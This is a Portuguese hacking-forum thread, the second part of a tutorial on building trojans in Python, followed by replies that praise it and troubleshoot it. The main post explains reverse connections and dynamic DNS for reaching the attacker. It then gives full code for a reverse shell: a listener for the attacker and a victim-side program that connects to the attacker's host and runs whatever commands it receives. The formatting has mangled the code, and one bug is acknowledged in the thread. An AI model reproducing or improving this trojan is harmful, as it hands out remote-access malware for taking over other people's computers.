Unconfigured Ad Widget

Collapse

Anúncio

Collapse
No announcement yet.

Introdução a trojans com Python (2) - Conexão Reversa

Collapse
X
 
  • Filter
  • Tempo
  • Show
Clear All
new posts

  • Font Size
    #1

    Python Introdução a trojans com Python (2) - Conexão Reversa

    Este tópico é continuação do Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar.... Para acompanhar o conteúdo, recomendo que o leia este tópico anterior antes de continuar.


    Começando:

    Agora que já temos o conceito de sockets e sabemos manipulá-los, está na hora de se utilizar da conexão reversa em nosso trojan, assim não é necessário saber o ip da vítima, já que agora a vítima irá se conectar à nós.


    O que é conexão reversa?

    Um trojan pode usar dois tipos de conexão, “Direta” ou “Reversa”, em conexão direta o Hacker tem que se conectar a vitima por meio do endereço de IP da mesma, ou seja, o Hacker primeiramente deve preocupar-se em saber como pegar o endereço de IP da vítima, caso contrario não haveria motivo para ele criar um server, já que ele não poderia se conectar a vítima, e como se já não bastasse, para quem não sabe o nosso endereço de IP muda a cada vez que nos conectamos a Internet, ou seja, além de saber como pegar o IP da vítima o Hacker também teria que pegar o novo IP da vítima a cada vez que ela se conectasse a Internet. Já em conexão reversa o trabalho de ter que pegar o IP da vítima é dispensável, afinal, os papeis serão invertidos, quem terá o trabalho de se conectar ao trojan será a vitima.

    Quando usamos a conexão reversa, nós devemos fornecer o nosso endereço de IP para que a vítima se conecte a nós!

    Opaaaa, mas o IP não muda?

    – Sim ele muda!

    @#$% então o que adianta eu colocar o meu IP no trojan se depois ele vai mudar? Como que a vitima vai se conectar comigo depois?

    – Calma, relaxa ai e deixa eu terminar!!!

    Continuando…. Quando usamos conexão reversa nós devemos fornecer o nosso endereço de IP para que a vitima se conecte a nós, massssss como o nosso IP também muda a cada vez que nos conectamos a Internet nós temos que recorrer ao “No-IP”.

    Aaaaaaaaaa ta ! Mas o que é No-IP?

    O No-IP gera um DNS para você, DNS esse que servira como uma espécie de IP fixo, dessa forma, ao invés de colocar o seu IP no server do trojan você deve colocar o seu No-IP, sendo assim, a vítima sempre poderá se conectar a você, até mesmo se você for para outro país, ou até mesmo outro planeta …
    Retirado de: Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... [Acesso: 12/01/2015 às 01h:00]


    Mas Radicalzinho, oque é DNS?

    DNS ou Domain Name System (algo como Sistema de Nome de Domínio) é um serviço que basicamente troca ips por domínios. Por exemplo, ao digitar Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... você é redirecionado ao site da google, que está hospedado em um servidor, e esse servidor possui um número ip que nos permite estabelecer conexão com o mesmo solicitando a página do google. Ou seja, o DNS simplesmente faz uma "conversão" do domínio Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... para o número ip do servidor. Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...

    Mãos na massa!

    Chega dessa teoria chata! Vamos programar!

    Cliente:
    Código PHP:
    #!/usr/bin/env python
    # -*- coding:utf-8 -*-

    import socket #Importando socket

    socket.socket(socket.AF_INETsocket.SOCK_STREAM#Definindo o tipo de socket que vamos utilizar
    serv_socket.setsockopt(socket.SOL_SOCKETsocket.SO_REUSEADDR1)
    s.bind((''7000)) #Passando o nome do host (uma string vazia já que qual quer um pode se conectar) e a porta de conexão
    s.listen(5#Colocando em modo de escuta
    print ('aguardando conexao')
    conserver s.accept() #Conexão aceita
    print ('conectado')

    recebe con.recv(512#Recebendo mensagem
    print(recebe)

    while 
    True#Looping infinito para poder enviar vários comandos

        
    try:

            
    cmd raw_input('Digite um comando: '#Comando a ser enviado
            
    con.send(cmd#Enviando comando

            
    if cmd == 'quit'#Se o comando for quit fecha a conexão e sai do looping
                
    s.close()
                break
            else: 
    #Se não esera ser retornado uma mensagem
                
    recebe con.recv(512)
                print(
    recebe)

        
    except#Caso de erro feche a conexão e saia do looping
            
    s.close()
            break 
    Servidor:
    Código PHP:
    #!/usr/bin/env python 
    # -*- coding:utf-8 -*-

    import ossocket #Importando socket e os

    socket.socket(socket.AF_INETsocket.SOCK_STREAM#Definindo o tipo de socket que vamos utilizar

    #Agora vamos passar como parametro o domínio no-ip do atacante
    host socket.gethostbyname('seudominionoip.ddns.net'#A função gethostbyname retorna o ip do domínio

    s.connect((host7000)) #Se conectando ao client
    s.send('Vítima conectou-se...   '#Enviando mensagem ao client

    while True#Looping infinito

        
    try:

            
    data s.recv(512#Esperando receber comando do client

            
    if data.startswith('cd'): #Se o comando for cd retira o \n do final
                
    os.chdir(data[3:].replace('\n',''))
                
    s.send('movendo para '+str(os.getcwd())) #Enviando localização ao client
                
    result='\n'
            
            
    elif data == 'quit'#Se for quit fecha a conexão e sai do looping
                
    s.close()
                break
                
            else:
                
    result os.popen(data).read() #O comando é executado e o resultado salvo na variavel result

                
    if(result != ''): #Se o resultado for vazio
                    
    s.send(result#Envia resultado
                
    else:
                    
    s.send('Comando recebido'#Envia mensagem de confirmação da chegada do comando

        
    except#Fecha a conexão e sai do looping
            
    s.close()
            break 
    Como vocês podem ver, foi simples a implementação da conexão reversa em nosso trojan. A partir de agora, o cliente(atacante) irá ficar em modo escuta até receber uma conexão do servidor(vítima), e o resultado dos comandos é exibido apenas ao client, graças ao comando os.popen(data).read().

    Compilando e finalizando
    Para finalizar, vamos Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...

    Material Adicional:
    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...

    Espero que tenham gostado desses 2 tópicos, e que seja de grande utilidade.
    "Não subestime os fracos pois eles não agem com a força e sim com a mente."
    Similar Threads

  • Font Size
    #2
    Me ajudará futuramente!

    O seu tópico explicou muito bem como funciona trojan, e estou aprendendo á programar em python e enetendi a tstrutura do código vlws

    Comment


    • Font Size
      #3
      Bacana velho, gostei do teu codigo.. bem estruturado e bem indentado.. Também sou programador PYTHON, tenho uma versao parecida com essa tua mas a minha usa o terminal do cliente como shell, e posso fazer oque der cabeça hehehhe... Como que tu fez pra receber a tag de programador?

      Comment


      • Font Size
        #4
        Postado Originalmente por 2contosx Ver Post
        Bacana velho, gostei do teu codigo.. bem estruturado e bem indentado.. Também sou programador PYTHON, tenho uma versao parecida com essa tua mas a minha usa o terminal do cliente como shell, e posso fazer oque der cabeça hehehhe... Como que tu fez pra receber a tag de programador?
        Publicando alguns programinhas bobos na área de Programas e Utilitários do fórum
        "Não subestime os fracos pois eles não agem com a força e sim com a mente."

        Comment


        • Font Size
          #5
          cliente deu esse erro

          Traceback (most recent call last):
          File "C:\Python27\cliente.py.txt", line 7, in <module>
          serv_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
          NameError: name 'serv_socket' is not defined



          alguem pode me dizer a solução

          Comment


          • Font Size
            #6
            Postado Originalmente por felipedasredes Ver Post
            cliente deu esse erro

            Traceback (most recent call last):
            File "C:\Python27\cliente.py.txt", line 7, in <module>
            serv_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
            NameError: name 'serv_socket' is not defined



            alguem pode me dizer a solução
            Há um erro no meu código, me desculpe.

            Substitua o serv_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) por s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
            "Não subestime os fracos pois eles não agem com a força e sim com a mente."

            Comment


            • Font Size
              #7
              Posso atualizar o post inicial com a correção?

              Comment


              • Font Size
                #8
                Muito bom, Obrigado por partilhar

                Comment


                • Font Size
                  #9
                  line 11, in <module>
                  s.connect((host, 7000))
                  ConnectionRefusedError: [WinError 10061] No connection could be made because the target machine actively refused it
                  tentei alterar ate o numero da porta, e nada, conectei o client e está em modo listen, porém o servidor nao consegue conectar, alguem sabe que erro pode ser esse?

                  Comment

                  X
                  Working...
                  X